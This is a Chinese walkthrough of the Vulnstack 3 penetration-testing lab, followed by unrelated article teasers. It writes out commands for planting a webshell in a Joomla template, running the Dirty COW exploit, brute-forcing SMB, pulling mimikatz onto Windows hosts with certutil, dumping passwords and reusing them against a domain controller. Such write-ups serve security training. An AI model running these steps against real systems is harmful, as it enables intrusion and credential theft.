红日靶场vulnstack (三)

news2024/9/23 1:40:10

环境搭建

直接把靶机下载下来后,配置环境如下,直接Centsos配置多一张网卡NAT模式就行。

//只有这两台主机IP和图片不同,其它都是一样的,因为图片是拿别人的
kali:192.168.145.171
Centos:192.168.145.130 ,192.168.93.100

信息收集

端口扫描,有22、80、3306端口。

nmap -sT -T4 -sV -O -sC -p1-65535 192.168.145.130

扫一下网站目录,看看有无信息泄露啥的,还是有挺多东西的。

dirsearch -u http://192.168.145.130/

查一下网站信息。

用joomla扫描工具扫一下,获取版本为Joomla3.9.12。

joomscan -u http://192.168.145.130/ 

Centos

Getshell

前期的信息收集基本已经完成,现在来拿shell。在目录扫描中我们发现有类似网站后台的URL,直接访问一下看看。后台登录一开始的思路是测sql注入和弱口令,结果是失败的,这里就不演示了。

访问一下前台,同理测了sql注入和弱口令,依旧不行。

现在把扫出来的目录都看一下,发现有泄露数据库信息。

http://192.168.145.130/configuration.php~

得到账号为testuser,密码为cvcvgjASD!@,直接去连接数据库。

数据库里面发现两个用户表,分别是am2zu users和umnbt users。

里面的密码是经过了加密的,john爆破不出来。既然如此,那我们直接添加一个管理账号不就行了么。顺便说一下,没有读写权限,所以sql getshell不行的。去网上查了一下joomlaA数据库的加密方式,他是由密码和一串32位随机字符串结合再进行MD5加密而来的,比如密码为123456,那么加密方式如下:

6fa7069f6c2b4a7abc376669113acab8 == md5('123456cW2r7QqdGQrp2Rw9sbxCxN85nSek6tlV')

添加到数据库的格式如下:

6fa7069f6c2b4a7abc376669113acab8:cW2r7QqdGQrp2Rw9sbxCxN85nSek6tlV

既然如此我们直接py加密一下就ok了。

import hashlib
data ="123456cW2r7QqdGQrp2Rw9sbxCxN85nSek6tlV"
p = hashlib.md5(data.encode('utf-8'))
p = p.hexdigest()
print(p)

然后添加到am2zu users表中,再查看一下am2zu usergroups这个表,里面记载了各类型用户的ID,例如ID为8的是超级用户。

再到am2zu user usergroup map这个表添加我们刚刚的用户ID,并且把group_id设置为8。

我们就可以以超级用户的身份登录后台了。

搜了一下Joomla3.9.12的漏洞,点击Extensions->templates->templates,选择Beez3样式,可以看到有个error.php文件,我们直接在里面写入一句话木马,然后保存。

蚁剑连接http://localhost/templates/beez3/error.php。

脏牛提权

蚁剑无法执行命令,估计是限制了吧。

此时就没啥思路了,看看别人的wp,tmp目录下有test.txt这个玩意。

有账号密码,拿去ssh连接一下看看。

成功连接且可以执行命令。

查看一下Linux内核版本,Linux内核 >= 2.6.22,可以用脏牛漏洞提权。

uname -r

下载地址:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195

把dirty.c搞进Centos,然后执行命令编译。

gcc -pthread dirty.c -o dirty -lcrypt

再删除这个文件。

rm /tmp/passwd.bak

运行dirty,后面是你设置的密码。

./dirty 123456 

然后会显示成功添加一个firefart的root权限账号。

切换此账号即可获取root权限了。

代理配置

在Centos中我们得知还有93这个内网网段,直接写个脚本探测一下内网主机,可以探测存在10,20,30,120内网主机。

ubantu在内网中,我们得先挂上代理,最简单的就是让centos上线CS,再开启socks代理。但是我试了试不行,不是上线不了CS,而是开启了代理没用,依旧访问不了ubantu主机。这里就用frp搭建代理吧,具体也就不多说了,都是之前讲过的。

//服务端配置
[common]
bind_port = 7000

//客户端配置如下
[common]
server_addr = 192.168.145.171
server_port = 7000

[test]
type = tcp
local_ip = 192.168.145.130
local_port = 1111
remote_port = 2222
plugin = socks5

把客户端和配置文件搞到centos中,直接运行。

./frpc

服务端运行。

./frps -c frps.ini

配置好Proxifier直接浏览器访问。

内网渗透

信息收集

在kali配置好proxychains,探测一下内网主机信息进行收集,探测10主机,不难判断出是windows主机。

proxychains nmap -sT -T4 -sV -O -sC -p22,80,135,445,443 192.168.93.10

同样20主机也是Windows主机。

30主机依旧是Windows主机。

120主机是Linux主机,从它开放22端口的ssh协议可以判断出。

Getshell

因为3台Windows主机可能存在域,所以我们先拿下ubantu,访问ubantu网站发现和centos一样的。

扫一下目录,也是和centos一样的,都存在后台和configuration.php~目录导致信息泄露。所以这台主机的getshell我就不说了,参照centos吧。

proxychains dirsearch -u http://192.168.93.120/

域渗透

上面我们探测到windows的主机都开放了135,445端口,那么我们利用MSF探测是否存在MS17_010漏洞,先让centos上线MSF。

添加路由,我这里已经存在了。

run autoroute -p

查看路由。

route

使用MS17_010探测模块扫一下,发现没用这个漏洞,估计是打了补丁。

再用MSF的SMB协议扫描模块,探测哪些主机开启了smb服务。

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.10-30
run

三台主机都开了这个服务。

其实到这里我就没思路,看了大佬的文章说是用SMB爆破,可以爆破出密码为123qwe!ASD。但是我没有那么猛的字典,所以只能手动加进去了。别人的文章还有一种是NTLM Relay攻击,但是要到对方的主机上去操作,我觉得不太现实就不搞了,这里爆破出20和30主机的账号密码。

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set USER_FILE /home/wlw666/userList.txt
set PASS_FILE /home/wlw666/passwd.txt
run

 有了密码那直接用我们之前的说过的impacket套件去连接就行了,需要注意我们这里的账号密码是20主机和30主机本地用户的而不是域用户的。

python wmiexec.py ./administrator:123qwe!ASD@192.168.93.20 "dir"
//用atexec.py也行,都是一样的

既然能执行命令了,那我们直接输入命令让它下载mimikatz.exe然后读取本地登录过的账号密码。这里20主机和30主机都属不出网的,需要我们把mimikatz搞到centos上面才行,直接在蚁剑上面上传到网站目录就行。

python wmiexec.py administrator:123qwe!ASD@192.168.93.20 "certutil.exe -urlcache -split -f http://192.168.93.100:80/templates/beez3/mimikatz.exe mimikatz.exe"

运行mimikatz读取密码,因为这里我们只是获得了半交互式的shell,所以我们把读取的结果放在log文件里面方便查看。

python wmiexec.py administrator:123qwe!ASD@192.168.93.20 "mimikatz.exe log privilege::debug sekurlsa::logonpasswords"

查看读取到的账号密码,可以看到读取了域用户的账号和密码。

python wmiexec.py ./administrator:123qwe!ASD@192.168.93.20 "type mimikatz.log"

在实际中为了便于记忆,有一部分的域控密码和域用户密码都是一样的,如果不一样那么我也不知道咋办了,因为从Linux横移到Windows刚好还没学,我们直接拿这个密码去连接域控。

python wmiexec.py TEST/administrator:zxcASDqw123!!@192.168.93.10 "ipconfig"

直接反弹一个cmd回来。

python wmiexec.py TEST/administrator:zxcASDqw123!!@192.168.93.10

找到flag。

总结

这个靶场比前面两个要难一点点,主要是思路问题,比如前面的蚁剑发现的mysql文件,你要想得去尝试ssh连接,还有smb爆破取决于你的字典大小。其实在渗透过程中,我有尝试让主机上线CS方便横移,但是均失败了,可能是因为跳板机是Linux,上线的Windows主机都是个黑框。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2102590.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

https和harbor仓库跟k8s

目录 https 做证书 harbor仓库 https https是加密的http,它的端口是443,它的协议是tcp协议。建立连接和普通的tcp是一样的,都是三次握手和四次挥手,但是它三次握手之后有一个步骤:SSL或者TLS握手的过程&#xff0c…

DAMA数据管理知识体系(第4章 数据架构)

课本内容 4.1 引言 概要 数据架构考虑方面 数据架构成果,包括不同层级的模型、定义、数据流,这些通常被称为数据架构的构件数据架构活动,用于形成、部署和实现数据架构的目标数据架构行为,包括影响企业数据架构的不同角色之间的协…

vue3+ts 实现模板表格文件下载~

1、效果图&#xff1a; 2、创建点击事件&#xff0c;并发起请求&#xff0c;获取模板表格文件下载url地址。 //组件 <a-button class"btn btn_width" click"download"> 下载模板 </a-button>// 文件模板下载 import { getTemplate } from /ap…

JAVA读写Excel(jxl,poi,easyExcel)

目录 一、需求描述 二、具体操作Excel的常用方法 方法一&#xff1a; 使用jxl 方法二&#xff1a; POI 方法三&#xff1a;EasyExcel 三、总结 一、需求描述 前端有时候会传送 Excel 文件给后端&#xff08;Java&#xff09;去解析&#xff0c;那我们作为后端该如何实现…

Linux内核源码-USB驱动分析

基础层次详解 通用串行总线&#xff08;USB&#xff09;主要用于连接主机和外部设备&#xff08;协调主机和设备之间的通讯&#xff09;&#xff0c;USB 设备不能主动向主机发送数据。USB 总线采用拓扑&#xff08;树形&#xff09;&#xff0c;主机侧和设备侧的 USB 控制器&a…

《亿级流量系统架构设计与实战》第十二章 评论服务

评论服务 一、概述二、单级评论模式1、模型设计2、分库分表必要性3、高并发问题 三、二级评论模式1、模型设计2、评论审核与状态3、按照热度排序4、评论读取流程图5、架构总览 四、盖楼评论模式1、数据库递归查询2、数据库保存完整楼层3、图数据库 内容总结自《亿级流量系统架构…

关于IDEA的快捷键不能使用的原因

有时候IDEA的快捷键用不了&#xff0c;这时应该是快捷键发生冲突了&#xff0c;重新设置一下即可。以批量修改变量名称的shift f6为例&#xff08;我的这个快捷键用不了&#xff09;&#xff1a; 初始的rename的快捷键为shift f6 这个快捷键是冲突的&#xff0c;所以我们需要…

探索PDF的奥秘:pdfrw库的神奇之旅

文章目录 探索PDF的奥秘&#xff1a;pdfrw库的神奇之旅背景&#xff1a;为何选择pdfrw&#xff1f;pdfrw是什么&#xff1f;如何安装pdfrw&#xff1f;五个简单的库函数使用方法场景应用&#xff1a;pdfrw在实际工作中的应用常见问题与解决方案总结 探索PDF的奥秘&#xff1a;p…

安防监控视频平台LntonAIServer视频智能分析平台新增视频质量诊断功能

随着安防行业的快速发展&#xff0c;视频监控系统已经成为维护公共安全和个人隐私的重要工具。然而&#xff0c;由于各种因素的影响&#xff0c;视频流的质量可能会受到影响&#xff0c;从而导致监控效果不佳。为了解决这一问题&#xff0c;LntonAIServer推出了全新的视频质量诊…

基于.NET6的WPF基础总结(下)

目录 一、集合控件 1. ListBox可选项列表 2. ListView数据列表控件 3. DataGrid数据表格控件 4. ComboBox下拉框控件 5. TabControl 6. TreeView 树形控件 7. Menu菜单 8. ContextMenu上下文菜单 二、图像控件 1. Ellipse 椭圆 2. Line线段 3. Rectangle矩形 4.…

如何打造中小学在线教学平台?Java SpringBoot集成Vue,教育资源管理新篇章

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

基于Transformer架构训练LLM大语言模型:Transformer架构工作原理

视频讲解&#xff1a;Transformer架构的工作原理讲解_哔哩哔哩_bilibili 一 Transformer架构总体架构 1 总体架构图 总体架构说明&#xff1a; 输入层 词嵌入&#xff08;Word Embeddings&#xff09;: 输入文本中的每个词都被映射到一个高维空间中的向量&#xff0c;这些向…

HTML静态网页成品作业(HTML+CSS)——动漫大耳朵图图网页(4个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有4个页面。 二、作品演示 三、代…

智能化的知识管理:大模型在知识图谱构建中的突破性应用

转自&#xff1a;大模型奇点说 知识图谱是一种以图形结构组织数据的知识表示形式&#xff0c;其中&#xff0c;概念、事件、实体等知识单元通过节点呈现&#xff0c;而它们之间的各种关系则通过边来描述。知识图谱的显著特点在于&#xff0c;通过关系的定义&#xff0c;为节点提…

EmguCV学习笔记 VB.Net 9.3 移动检测类

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 EmguCV是一个基于OpenCV的开源免费的跨平台计算机视觉库,它向C#和VB.NET开发者提供了OpenCV库的大部分功能。 教程VB.net版本请访问…

第十一课,多分支判断

一&#xff0c;多分支结构 某些场景下&#xff0c;判断条件不止一个&#xff0c;可能有多个。 语法格式&#xff08;下图左&#xff09;&#xff1a; *需要注意&#xff1a;这里仅是以5种选择作为例子&#xff0c; 可以根据自己的需要&#xff0c;在if...else的中间插入任意…

OrangePi AIpro 香橙派 昇腾 Ascend C 算子开发 与 调用 - Tiling实现

OrangePi AIpro 香橙派 昇腾 Ascend C 算子开发 与 调用 - Tiling实现 flyfish 前置知识 基于Kernel直调工程的算子开发流程图 其中有一个Tiling实现 什么是Tiling、Tiling实现 计算API&#xff0c;包括标量计算API、向量计算API、矩阵计算API&#xff0c;分别实现调用S…

51单片机-串口通信(电脑向串口助手发送数据不接收)

80C52中的串口通过SCON寄存器配置波特率位可变的&#xff0c;因此&#xff0c;需要通过计算定时器1的参与&#xff0c;在定时器配置过程中选择定时器的相关寄存器TMOD来配置定时器的模式为模式2&#xff08;8位自动重装定时器&#xff0c;如上图&#xff0c;TL1为计数器&#x…

SpringBoot动态配置Nacos

重要知识点 Nacos属性的简单使用 将SpringBoot中的所有配置全部放入到Nacos中 开发人创建单独的命名空间,修改互不影响 Nacos经常变动的配置抽离到外部文件中 将项目中的所有配置全部放到到 1. 首先引入包 <!-- nacos 接入--><!-- https://mvnrepository.com/artifact…

网络安全服务基础Windows--第14节-数字签名

散列函数&#xff08;Hash Function&#xff09;&#xff0c;也称为哈希函数&#xff0c;是密码学中⼀个重要的⼯具。它能够将任意⻓度的输⼊数据转换为固定⻓度的输出&#xff08;散列值或哈希值&#xff09;。这种转换过程具有单向性&#xff0c;即很难从输出推断出输⼊&…